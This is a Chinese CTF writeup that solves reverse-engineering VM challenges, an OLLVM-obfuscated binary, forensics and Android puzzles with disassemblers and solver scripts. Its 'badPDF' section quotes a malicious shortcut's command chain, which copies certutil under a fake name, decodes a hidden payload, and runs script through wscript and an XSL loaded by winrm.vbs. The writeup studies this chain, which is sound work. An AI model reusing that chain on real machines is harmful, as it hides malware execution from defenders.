昨天打完的選拔賽,超級無敵難得過來及時更新(被好多師傅催來著哈哈哈,ddl第一生產力。
只能說這次比賽太幸運了,能碰到這麼多逆向題,甚至還有兩道流落在Misc和Crypto的apk,相對來說沒什麼韌體題(韌體好菜,RW嗑了八個多小時沒嗑出來TAT),那肯定開衝√
感謝師傅們手下留情╰(*°▽°*)╯
Reverse
babyvm
vm簽到題,這個題做完以後看到是一血人都傻了,看到easyvm已經三血開外了人就更傻了,明明應該baby比easy簡單的吧
一些簡單粗暴的花指令
花指令有點多,直接idapython走起
from idc_bc695 import *
start_addr = 0x00412CC0
end_addr = 0x00413991
l = [0x74, 0x03, 0x75, 0x01, 0xE8]
def myNop(addr, end):
while addr < end:
for i in range(len(l)):
if idc.get_wide_byte(addr + i) != l[i]:
addr += 1
break
else:
for i in range(len(l)):
PatchByte(addr, 0x90)
addr += 1
print("[+] nop ok!!")
myNop(start_addr, end_addr)
for i in range(start_addr, end_addr + 1):
MakeUnkn(i, 0x90)
去完花以後可以看到主函式直接跳到vm
而查vm的交叉引用可以發現有四個地方都用到了vm函式,說明opcode實際上分成了四段(四個起點)
逐個逆出32個case的作用,dump出opcode(opcode以qword為單位,偏移這邊都是+8/+16這樣),寫反彙編器
(反彙編器模板在:myReverseExps/VMinterpreter.py at main · c10udlnk/myReverseExps,不過很久沒改過了,每次都是做題的時候拉下來現改,有空再把新版放上去吧hhhh)
ins_set={ 0: [3, 2, "mov arr[r{0}], 0x{1:0>4X}"],
1: [3, 2, "mov r{0}, 0x{1:0>4X}"],
2: [3, 2, "mov r{0}, r{1}"],
3: [3, 2, "mov r{0}, arr[r{1}]"],
4: [3, 2, "mov arr[r{0}], r{1}"],
5: [3, 1, "push r{0}"],
6: [3, 1, "pop r{0}"],
7: [3, 2, "add r{0}, 0x{1:0>4X}"],
8: [3, 2, "add r{0}, r{1}"],
9: [3, 2, "sub r{0}, 0x{1:0>4X}"],
10: [3, 2, "sub r{0}, r{1}"],
11: [3, 2, "mul r{0}, 0x{1:0>4X}"],
12: [3, 2, "mul r{0}, r{1}"],
13: [3, 2, "shl r{0}, 0x{1:0>4X}"],
14: [3, 2, "shl r{0}, r{1}"],
15: [3, 2, "shr r{0}, 0x{1:0>4X}"],
16: [3, 2, "shr r{0}, r{1}"],
17: [3, 2, "xor r{0}, 0x{1:0>4X}"],
18: [3, 2, "xor r{0}, r{1}"],
19: [3, 2, "or r{0}, 0x{1:0>4X}"],
20: [3, 2, "or r{0}, r{1}"],
21: [3, 2, "and r{0}, 0x{1:0>4X}"],
22: [3, 2, "and r{0}, r{1}"],
23: [3, 1, "mov r{0}, getchar()"],
24: [3, 1, "putchar(r{0})"],
25: [3, 0, "exit"],
26: [3, 2, "cmp r{0}, 0x{1:0>4X}"],
27: [3, 2, "cmp r{0}, r{1}"],
28: [3, 1, "jz {0:0>3}"],
29: [3, 1, "jmp {0:0>3}"],
30: [3, 1, "jl {0:0>3}"],
31: [3, 1, "jnz {0:0>3}"]}
opcode = [18, 0, 0, 18, 1, 1, 18, 2, 2, 18, 3, 3, 18, 6, 6, 18, 7, 7, 1, 0, 105, 1, 1, 110, 1, 2, 112, 1, 3, 117, 1, 6, 116, 1, 7, 32, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 1, 0, 102, 1, 1, 108, 1, 2, 97, 1, 3, 103, 1, 6, 58, 1, 7, 32, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 18, 1, 1, 23, 0, 18446744073709551615, 5, 0, 18446744073709551615, 7, 1, 1, 26, 1, 38, 30, 31, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615, 18, 2, 2, 0, 2, 255, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 571, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 587, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 251, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 239, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 239, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 571, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 255, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 587, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 587, 7, 2, 1, 0, 2, 239, 7, 2, 1, 25, 18446744073709551615, 18446744073709551615, 18, 2, 2, 3, 0, 2, 9, 0, 99, 4, 2, 0, 7, 2, 1, 26, 2, 32, 30, 1, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 125, 28, 18, 18446744073709551615, 1, 0, 119, 1, 1, 114, 1, 2, 111, 1, 3, 110, 1, 6, 103, 1, 7, 33, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 1, 0, 10, 24, 0, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615, 1, 8, 256, 26, 8, 225, 30, 25, 18446744073709551615, 6, 0, 18446744073709551615, 4, 8, 0, 9, 8, 1, 29, 19, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 123, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 103, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 97, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 108, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 102, 31, 3, 18446744073709551615, 18, 9, 9, 1, 10, 225, 3, 7, 9, 3, 6, 10, 17, 6, 66, 13, 6, 2, 27, 6, 7, 31, 3, 18446744073709551615, 7, 9, 1, 7, 10, 1, 26, 9, 32, 30, 42, 18446744073709551615, 1, 0, 99, 1, 1, 111, 1, 2, 114, 1, 3, 114, 1, 6, 101, 1, 7, 99, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 1, 0, 116, 1, 1, 108, 1, 2, 121, 1, 3, 33, 1, 6, 10, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615]
pc = 0
res = ["Addr Code\n"]
addrfmt = "{0:0>3} "
base = 0x41E000
func_start = [0x41E000, 0x41E378, 0x41E9A8, 0x41EA68]
for i in range(len(func_start)):
func_start[i] = (func_start[i]-base) // 8
lstFunc = 0
while pc < len(opcode):
i = pc
pc += ins_set[opcode[i]][0]
res.append(addrfmt.format(i - lstFunc))
if opcode[i] not in ins_set.keys():
print("[-] UknOpcode 0x{0:X} in addr 0x{1:0>8X}.\n".format(opcode[i],i))
break
elif 28 <= opcode[i] <= 31:
res.append(ins_set[opcode[i]][2].format(opcode[i+1]*3)+'\n')
else:
args=[]
for j in range(ins_set[opcode[i]][1]):
args.append(opcode[i+1+j])
res.append(ins_set[opcode[i]][2].format(*args)+'\n')
if pc in func_start:
res.append('\n')
lstFunc = pc
with open('res.txt', 'w') as f:
f.writelines(res)
拿到res.txt,註釋裡寫了一些各段彙編的作用,就不再另開段落說明了(懶
Addr Code
;初始化暫存器,列印提示資訊,接收flag並儲存在棧上
000 xor r0, r0
003 xor r1, r1
006 xor r2, r2
009 xor r3, r3
012 xor r6, r6
015 xor r7, r7
018 mov r0, 0x0069
021 mov r1, 0x006E
024 mov r2, 0x0070
027 mov r3, 0x0075
030 mov r6, 0x0074
033 mov r7, 0x0020
036 putchar(r0)
039 putchar(r1)
042 putchar(r2)
045 putchar(r3)
048 putchar(r6)
051 putchar(r7)
054 mov r0, 0x0066
057 mov r1, 0x006C
060 mov r2, 0x0061
063 mov r3, 0x0067
066 mov r6, 0x003A
069 mov r7, 0x0020
072 putchar(r0)
075 putchar(r1)
078 putchar(r2)
081 putchar(r3)
084 putchar(r6)
087 putchar(r7)
090 xor r1, r1
093 mov r0, getchar()
096 push r0
099 add r1, 0x0001
102 cmp r1, 0x0026
105 jl 093
108 exit
;初始化已知陣列
000 xor r2, r2
003 mov arr[r2], 0x00FF
006 add r2, 0x0001
009 mov arr[r2], 0x0223
012 add r2, 0x0001
015 mov arr[r2], 0x023B
018 add r2, 0x0001
021 mov arr[r2], 0x0237
024 add r2, 0x0001
027 mov arr[r2], 0x0237
030 add r2, 0x0001
033 mov arr[r2], 0x024B
036 add r2, 0x0001
039 mov arr[r2], 0x022B
042 add r2, 0x0001
045 mov arr[r2], 0x00FB
048 add r2, 0x0001
051 mov arr[r2], 0x022B
054 add r2, 0x0001
057 mov arr[r2], 0x0223
060 add r2, 0x0001
063 mov arr[r2], 0x024F
066 add r2, 0x0001
069 mov arr[r2], 0x00EF
072 add r2, 0x0001
075 mov arr[r2], 0x0237
078 add r2, 0x0001
081 mov arr[r2], 0x00EF
084 add r2, 0x0001
087 mov arr[r2], 0x024F
090 add r2, 0x0001
093 mov arr[r2], 0x024F
096 add r2, 0x0001
099 mov arr[r2], 0x0223
102 add r2, 0x0001
105 mov arr[r2], 0x0223
108 add r2, 0x0001
111 mov arr[r2], 0x023B
114 add r2, 0x0001
117 mov arr[r2], 0x0237
120 add r2, 0x0001
123 mov arr[r2], 0x00FF
126 add r2, 0x0001
129 mov arr[r2], 0x0233
132 add r2, 0x0001
135 mov arr[r2], 0x0233
138 add r2, 0x0001
141 mov arr[r2], 0x0233
144 add r2, 0x0001
147 mov arr[r2], 0x0237
150 add r2, 0x0001
153 mov arr[r2], 0x024B
156 add r2, 0x0001
159 mov arr[r2], 0x0233
162 add r2, 0x0001
165 mov arr[r2], 0x024F
168 add r2, 0x0001
171 mov arr[r2], 0x022B
174 add r2, 0x0001
177 mov arr[r2], 0x022B
180 add r2, 0x0001
183 mov arr[r2], 0x024B
186 add r2, 0x0001
189 mov arr[r2], 0x00EF
192 add r2, 0x0001
195 exit
;對已知陣列進行-63處理
000 xor r2, r2
003 mov r0, arr[r2]
006 sub r0, 0x0063
009 mov arr[r2], r0
012 add r2, 0x0001
015 cmp r2, 0x0020
018 jl 003
021 exit
;比較flag的格式是否為"flag{}",flag順序存在已知陣列後面的一段記憶體中,從頭遍歷進行xor 0x42和左移2處理
000 pop r0
003 cmp r0, 0x007D
006 jz 054
009 mov r0, 0x0077
012 mov r1, 0x0072
015 mov r2, 0x006F
018 mov r3, 0x006E
021 mov r6, 0x0067
024 mov r7, 0x0021
027 putchar(r0)
030 putchar(r1)
033 putchar(r2)
036 putchar(r3)
039 putchar(r6)
042 putchar(r7)
045 mov r0, 0x000A
048 putchar(r0)
051 exit
054 mov r8, 0x0100
057 cmp r8, 0x00E1
060 jl 075
063 pop r0
066 mov arr[r8], r0
069 sub r8, 0x0001
072 jmp 057
075 pop r0
078 cmp r0, 0x007B
081 jnz 009
084 pop r0
087 cmp r0, 0x0067
090 jnz 009
093 pop r0
096 cmp r0, 0x0061
099 jnz 009
102 pop r0
105 cmp r0, 0x006C
108 jnz 009
111 pop r0
114 cmp r0, 0x0066
117 jnz 009
120 xor r9, r9
123 mov r10, 0x00E1
126 mov r7, arr[r9]
129 mov r6, arr[r10]
132 xor r6, 0x0042
135 shl r6, 0x0002
138 cmp r6, r7
141 jnz 009
144 add r9, 0x0001
147 add r10, 0x0001
150 cmp r9, 0x0020
153 jl 126
156 mov r0, 0x0063
159 mov r1, 0x006F
162 mov r2, 0x0072
165 mov r3, 0x0072
168 mov r6, 0x0065
171 mov r7, 0x0063
174 putchar(r0)
177 putchar(r1)
180 putchar(r2)
183 putchar(r3)
186 putchar(r6)
189 putchar(r7)
192 mov r0, 0x0074
195 mov r1, 0x006C
198 mov r2, 0x0079
201 mov r3, 0x0021
204 mov r6, 0x000A
207 putchar(r0)
210 putchar(r1)
213 putchar(r2)
216 putchar(r3)
219 putchar(r6)
222 exit
然後反向寫出exp:
arr = [0x00FF, 0x0223, 0x023B, 0x0237, 0x0237, 0x024B, 0x022B, 0x00FB, 0x022B, 0x0223, 0x024F, 0x00EF, 0x0237, 0x00EF, 0x024F, 0x024F, 0x0223, 0x0223, 0x023B, 0x0237, 0x00FF, 0x0233, 0x0233, 0x0233, 0x0237, 0x024B, 0x0233, 0x024F, 0x022B, 0x022B, 0x024B, 0x00EF]
for i in range(len(arr)):
arr[i] -= 0x0063
arr[i] >>= 0x2
arr[i] ^= 0x0042
arr[i] = chr(arr[i])
print(''.join(arr))
flag:e247780d029a7a992247e6667869008a
easyvm
idapython去花,好像還有一兩個零散的花指令來著,不太記得了(
from idc_bc695 import *
start_addr = 0x401660
end_addr = 0x4016F8
l = [0x0F, 0x84, 0x07, 0x00, 0x00, 0x00, 0x0F, 0x85, 0x01, 0x00, 0x00, 0x00, 0xE8]
def myNop(addr, end):
while addr < end:
for i in range(len(l)):
if idc.get_wide_byte(addr + i) != l[i]:
addr += 1
break
else:
for i in range(len(l)):
PatchByte(addr, 0x90)
addr += 1
print("[+] nop ok!!")
myNop(start_addr, end_addr)
for i in range(start_addr, end_addr + 1):
MakeUnkn(i, 0x90)
主邏輯在反編譯沒出來的sub_4012F0
可以看到偏移和函式指標,點進offset能看到函式分發
sub_4011E0是base64魔改,魔改為在結果xor了0x0A0B0C0D
然後走偏移的第零個即sub_401000,而sub_401000裡面就有switch
vm摁逆,已知陣列在unk_40B050,opcode在unk_40B030
寫反彙編器
ins_set={0xC0: [1, 0, "inc r1"],
0xC1: [1, 0, "inc r2"],
0xC2: [1, 0, "inc r3"],
0xC3: [1, 0, "mov r1, r2"],
0xC4: [1, 0, "mov r1, r3"],
0xC5: [1, 0, "mov r2, r1"],
0xC6: [1, 0, "mov r2, r3"],
0xC7: [1, 0, "mov r3, r1"],
0xC8: [1, 0, "mov r3, r2"],
0xC9: [5, 4, "mov r1, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
0xCA: [5, 4, "mov r2, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
0xCB: [5, 4, "mov r3, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
0xCC: [1, 0, "mov r1, input[r3]"],
0xCD: [1, 0, "mov r2, input[r3]"],
0xCE: [1, 0, "xor r1, r2"],
0xCF: [1, 0, "xor r2, r1"],
0xD0: [1, 0, "cmp r1, data[r3]"], # a==b:1 a>b:2 a<b:0
0xD1: [1, 0, "cmp r2, data[r3]"],
0xD2: [5, 4, "cmp r3, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
0xD3: [2, 1, "jz {0:0>4}"], # == 1
0xD4: [2, 1, "jnz {0:0>4}"], # == 0
0xFE: [1, 0, "; wrong"],
0xFF: [1, 0, "; right"]}
opcode = [0xCA, 0x00, 0x00, 0x00, 0x00, 0xCB, 0x00, 0x00, 0x00, 0x00, 0xCC, 0xCF, 0xC9, 0xEE, 0x00, 0x00, 0x00, 0xCF, 0xD1, 0xD3, 0x01, 0xFE, 0xC2, 0xD2, 0x39, 0x00, 0x00, 0x00, 0xD4, 0xEC, 0xFF]
pc = 0
res = ["Addr Code\n"]
addrfmt = "{0:0>4} "
while pc < len(opcode):
i = pc
pc += ins_set[opcode[i]][0]
res.append(addrfmt.format(i))
if opcode[i] not in ins_set.keys():
print("[-] UknOpcode 0x{0:X} in addr 0x{1:0>8X}.\n".format(opcode[i],i))
break
elif opcode[i] in [0xD3, 0xD4]:
jmpdelta = opcode[i+1] if opcode[i+1] & 0x80 == 0 else opcode[i+1] - 256
res.append(ins_set[opcode[i]][2].format(pc + jmpdelta)+'\n')
else:
args=[]
for j in range(ins_set[opcode[i]][1]):
args.append(opcode[i+1+j])
res.append(ins_set[opcode[i]][2].format(*args)+'\n')
with open('res.txt', 'w') as f:
f.writelines(res)
拿到res.txt
Addr Code
0000 mov r2, 0x00000000
0005 mov r3, 0x00000000
0010 mov r1, input[r3]
0011 xor r2, r1
0012 mov r1, 0x000000EE
0017 xor r2, r1
0018 cmp r2, data[r3]
0019 jz 0022
0021 ; wrong
0022 inc r3
0023 cmp r3, 0x00000039
0028 jnz 0010
0030 ; right
就是一個很簡單的迴圈處理+比對,需要注意的是r2是累計值(被坑完出來的人5555,血淚經歷)
連前面的base64魔改一起寫exp:
import base64
data = [0xBE, 0x36, 0xAC, 0x27, 0x99, 0x4F, 0xDE, 0x44, 0xEE, 0x5F, 0xDA, 0x0B, 0xB5, 0x17, 0xB8, 0x68, 0xC2, 0x4E, 0x9C, 0x4A, 0xE1, 0x43, 0xF0, 0x22, 0x8A, 0x3B, 0x88, 0x5B, 0xE5, 0x54, 0xFF, 0x68, 0xD5, 0x67, 0xD4, 0x06, 0xAD, 0x0B, 0xD8, 0x50, 0xF9, 0x58, 0xE0, 0x6F, 0xC5, 0x4A, 0xFD, 0x2F, 0x84, 0x36, 0x85, 0x52, 0xFB, 0x73, 0xD7, 0x0D, 0xE3]
data = [0] + data
tmp = []
for i in range(1, len(data)):
tmp.append(data[i-1] ^ 0xEE ^ data[i])
flag = ""
arr = [0xA, 0xB, 0xC, 0xD]
pos = 0
for x in tmp:
flag += chr(tmp[pos] ^ arr[pos%4])
pos += 1
print(flag)
print(base64.b64decode(flag.encode()))
flag:2586dc76-98d5-44e2-ad58-d06e6559d82a
babyre
這題ollvm太陰間了啊啊啊!!!
慣例去完花以後,可以看到在主函式由很明顯的幾個函式段
一個xor運算
一個n複雜運算
又一個xor運算
還有不知道在哪但絕對是最後一步的base64換表(在最後有比較,比較以後直接接success)
實在看不動了直接動態除錯+找規律
用的幾組測試資料↓
關於xor的識別,這實際上是一種常用的混淆手法(在之前某一道題裡磨礪出來的),順便總結一下 (加上在這道題裡學會的|),一般來說找幾組資料驗證一下就能猜出來的:
- (~x|y)-(x|~y) == x - y
- (~x&y)-(x&~y) == x - y
- (~x&y)+(x&~y) == x ^ y
- (~x&y)|(x&~y) == x ^ y
- x|y+x|y-x-y == x ^ y
- ~(~y|~x)|(y^x) == x | y
在這裡下斷點可以調出第一部分的xor
看彙編可以知道xor的資料在var_18,8次迴圈,每次迴圈會改變4個位元組,也就是說4位元組為一組
往上翻到算出var_18的地方,發現是由每組同一位置共八位元組的相互xor得到的,看附近的彙編程式碼即可
於是有第一個邏輯:
arr = [0 for _ in range(4)]
for i in range(len(s)):
arr[i%4] ^= s[i]
for i in range(len(s)):
s[i] ^= arr[i%4]
第二個邏輯在下一個xor下斷點
通過動態除錯可以看到是從3開始每次1位元組1位元組改變,同樣3個一組,且如果輸入為全相同(比如aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
)的時候更明顯,這種輸入不會受到第一個xor的影響(偶數個相同的異或起來為0)
xor的資料在var_31 var_32 var_33,同樣可以看彙編往上追溯
反編譯可以看到就是那個巨複雜的運算,由真值表化簡可以得到第二段邏輯
for i in range(3, len(s), 3):
tmp = [s[i-3]>>2, ((s[i-2]>>4)|(~(~s[i-3]|0xfc)<<4))&0xff, ((s[i-1]>>6)|((s[i-2]&(s[i-2]^0xF0))<<2))&0xff]
for j in range(i, len(s)):
s[j] ^= tmp[j%3]
最後逆向寫exp:
import base64
s = "Fi9X/fxX6Q6JBfUfBM1V/y6V6PcPjMaQLl9IuttFuH68"
# s = "aJW31v1YF9nucbsFYGp2/XtrIO8tUi7oBX1CYmVVuGZ0"
# s = "BGpvCSXOIOUgBOp0Uofm1PZh1Msa4YVaS81UmWHchtr"
# s = "1Of0LdCt6iVW/M6x1dc0LOPz6lYp/t9e1Of0LdCt6iQ1"
myTable = "QVEJAfHmUYjBac+u8Ph5n9Od16FrICL/X0GvtM4qk7T2z3wNSsyoebilxWKgZpRD"
b64table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
s = list(base64.b64decode(s.translate(str.maketrans(myTable,b64table)).encode()))
# print(bytes(s))
# s = list("qwertyuiopasdfghjklzxcvbnm123456")
# s = "abcdefghijklmnopqrstuvwxyz012345"
# s = list("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
# arr = [0 for _ in range(4)]
# for i in range(len(s)):
# arr[i%4] ^= s[i]
# for i in range(len(s)):
# s[i] ^= arr[i%4]
# for i in range(3, len(s), 3):
# tmp = [s[i-3]>>2, ((s[i-2]>>4)|(~(~s[i-3]|0xfc)<<4))&0xff, ((s[i-1]>>6)|((s[i-2]&(s[i-2]^0xF0))<<2))&0xff]
# for j in range(i, len(s)):
# s[j] ^= tmp[j%3]
# print(bytes(s))
s2 = s.copy()
for i in range(3, len(s), 3):
tmp = [s[i-3]>>2, ((s[i-2]>>4)|(~(~s[i-3]|0xfc)<<4))&0xff, ((s[i-1]>>6)|((s[i-2]&(s[i-2]^0xF0))<<2))&0xff]
for j in range(i, len(s)):
s2[j] ^= tmp[j%3]
s2 = s2[:-1] # 最後多了一位填充
# print(bytes(s2))
arr = [0 for _ in range(4)]
for i in range(len(s2)):
arr[i%4] ^= s2[i]
for i in range(len(s2)):
s2[i] ^= arr[i%4]
print(bytes(s2))
flag:fce5e3dfc6db4f808ccaa6fcffecf583
Misc
badPDF
拿到檔案就直接開啟了orz,發現找不到js,意識到有payload嵌入。檢視target
這裡顯示不全,直接用十六進位制閱讀器開啟可以看到target的一些關鍵字,定位到這裡,把可見字元提取出來
Windows\System32\cmd.exe /c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y&findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp&%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp&expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp% &wscript %tmp%\\9sOXN6Ltf0afe7.js
在閱讀程式碼的過程中搜尋關鍵字(*ertu*.exe)找到了原病毒:https://www.freebuf.com/articles/network/241414.html
有一個很有趣的地方就是,這裡明明就是複製一次(把certutil.exe複製過去),為什麼要用到for呢。就是通過(*ertu*.exe)這個正則匹配繞過安全檢測,畢竟那個資料夾裡肯定就只有一個exe是符合的,不會有誤操作,而且可以避免殺軟啥的對certutil.exe操作的檢查(猜的)。
我在CTF題學cmd命令,捂臉
第一層是一樣的,所以直接跟著他程式碼做,直到拿到9sOXN6Ltf0afe7.js
var e7926b8de13327f8e703624e = new ActiveXObject("WScript.Shell");
e7926b8de13327f8e703624e.Run ("cmd /c mkdir %tmp%\\cscript.exe&for /r C:\\Windows\\System32\\ %m in (cscr*.exe) do copy %m %tmp%\\cscript.exe\\msproof.exe /y&move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl&%tmp%\\cscript.exe\\msproof.exe //nologo %windir%\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty&del \"%tmp%\\cscript.exe\\WsmPty.xsl\" /f /q&\"%tmp%\\20200308-sitrep-48-covid-19.pdf\"",0);
可以看到又是一層系統呼叫,不過這層就沒什麼東西了,就是讓他能成功呼叫最後刪除中間檔案的過程。
做到move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl
可以知道,上一步解壓出來的cSi1r0uywDNvDu.tmp
實際上也是一個程式碼,開啟可以看到
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="VBScript">
<![CDATA[
rBOH7OLTCVxzkH=HrtvBsRh3gNUbe("676d60667a64333665326564333665326564333665326536653265643336656564333665327c"):execute(rBOH7OLTCVxzkH):function HrtvBsRh3gNUbe(bhhz6HalbOkrki):for rBOH7OLTCVxzkH=1 to len(bhhz6HalbOkrki)step 2:HrtvBsRh3gNUbe=HrtvBsRh3gNUbe&chr(asc(chr("&h"&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2)))xor 1):next:end function:
]]> </ms:script>
</stylesheet>
嵌入了一段VBscript的程式碼,速成VBscript可以發現這實際上就是個unhex+xor 1的過程
VBscript的關鍵點在:
- "aaa" & "bbb" == "aaabbb",這裡&是連線符的意思,相當於python裡字串之間的+
- "&h41"實際上就是python裡的"\x41",所以這裡chr("&h"&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2))是取兩位然後unhex(內建函式的作用自行搜尋)
- VB裡面異或就寫成xor是我沒想到的(逃
所以寫exp有:
s = bytes.fromhex("676d60667a64333665326564333665326564333665326536653265643336656564333665327c")
flag = ""
for x in s:
flag += chr(x ^ 1)
print(flag)
flag:e27d3de27d3de27d3d7d3de27dde27d3
gogogo
本來以為raw是拼圖的線索,一番記憶體取證發現並沒有什麼線索。
後來想到如果是python程式切出來的,那肯定出來的時間是有先後的吧(我就不信有人ps手切),所以直接日期排序走起。
電腦螢幕太小了顯示不了16張一行,稍微微調了一下(每行刪掉第一張
可以看到password是3e8f092d4d7b80ce338d6e238efb01。
能用到password的地方一般都是壓縮包,於是去filescan一下把檔案列表匯出來,grep看有沒有奇怪的壓縮包。
發現有一個csgo.zip.zip(fps玩家狂喜),感覺是奇怪的包,dump下來。
volatility -f 2.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000002182dc0 -D ./ -u
用password解密發現可行,解出來一張打不開的csgo.png
圖片,png解包經典foremost
foremost csgo.png
解出來兩張圖
第一張圖不太像二維碼(四周補上的話data區缺太多),按著這個思路搜尋其他的二維碼發現一種特徵在中間的Aztec code。
(賽後聽凌邪師傅說槍的“阿茲特克”就是指這個Aztec,人傻了.jpg)
於是按照格式用photoshop拼了一下(做工極度粗糙,管他的能掃就行)
找到了(好像是唯一的)線上解碼器:https://products.aspose.app/barcode/zh-hans/recognize/aztec#
發現解碼成功!
flag:fbab8380-a642-48aa-89b1-8e251f826b12
TimeTravel
看MainActivity沒看出什麼,發現有調庫就先去看庫了。
實在沒找到能入手的地方,於是去翻字串,居然看到了
眉頭一皺,發現並不簡單.jpg
然後直接去找這個字串的交叉引用,果然看到了一個check函式
ooo000粗略的看起來是一個base64,sub_4AE8有一點混淆,通過呼叫的分析和一些典型操作(比如初始化s盒、xor,那幾個圖裡已命名的函式)能大概看出來是個魔改rc4,從xor操作看出除了正常的rc4異或以外還異或了當前的序號。比較的v17是已知陣列off_17180。
在genKey裡,金鑰通過一個倒著的表和一些計算得出
所以可以根據他的方法將金鑰算出來,同時在rc4的結果上遍歷xor序號就能拿到第一部分的結果
ooo000的魔改在取數的時候取的是x^(x>>3)而不是x
因為這個改動比較大,選擇手寫base64解碼
invshift是以前比賽中用過的對x^(x>>3)演算法的逆向函式(一招鮮吃遍天了屬於是
算出來以後發現只拿到了後半部分,flag應該是一個uuid,前面少了八個位元組
於是跑回去翻java層,發現這個包其實是有個main2activity的(下次搜尋一定少搜一點555,絕了
這裡一看就是主函式了
比對前五位元組是"flag{"和末尾位元組的"}",把中間的部分提取出來,檢查[0:3]是"e25",剩下五位爆破md5
一個比較坑的地方在hexdigits是改了表的!!!!!!出題人其心可誅!!!!!!(劃掉
爆了好久爆不出來才發現,太絕了,手動把雜湊值的4和5、E和F進行替換來爆破才爆出來
整道題的exp:
from hashlib import md5
from arc4 import ARC4
import base64
def bf(s):
s = s.lower()
charset = "0123456789abcdef"
for a in charset:
for b in charset:
for c in charset:
for d in charset:
for e in charset:
tmps = a + b + c + d + e
if md5(tmps.encode()).hexdigest() == s:
return tmps
res = bf("1F862D87DB3293B81C7D2935477A22EA") #手動將4和5,E和F進行替換
dst = [0x000000A8, 0x000000CE, 0x000000CE, 0x000000D7, 0x000000B1, 0x0000005A, 0x00000020, 0x0000004B, 0x000000AB, 0x000000A2, 0x00000023, 0x000000FA, 0x000000FC, 0x000000F0, 0x000000DF, 0x000000A5, 0x000000B4, 0x00000077, 0x000000E6, 0x00000041, 0x000000C4, 0x00000065, 0x00000084, 0x00000091, 0x0000008B, 0x0000000A, 0x000000E6, 0x000000AE, 0x000000BB, 0x000000B5, 0x00000037, 0x000000FD, 0x000000C0, 0x000000CB, 0x00000072, 0x00000078, 0x00000013, 0x00000091, 0x000000D3, 0x0000005E]
keytable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[::-1]
key = []
v1 = -2078209981
for i in range(256):
v13 = ((v1 * i) >> 32) + i
v14 = (v13 >> 5) + (v13 >> 31)
if i - 62*v14 < 0:
print(i, i - 62*v14)
key.append(keytable[i - 62 * v14])
key = ''.join(key).encode()
dst = bytes(dst)
rc4 = ARC4(key)
RC4ans = rc4.encrypt(dst)
src = []
for i in range(len(RC4ans)):
src.append(RC4ans[i] ^ i)
src = bytes(src).decode()
table = "ZO6Kq79L&CPWvNopzQfghDRSG@di*kAB8rsFewxlm+/u5a^2YtTJUVEn0$HI34y#"
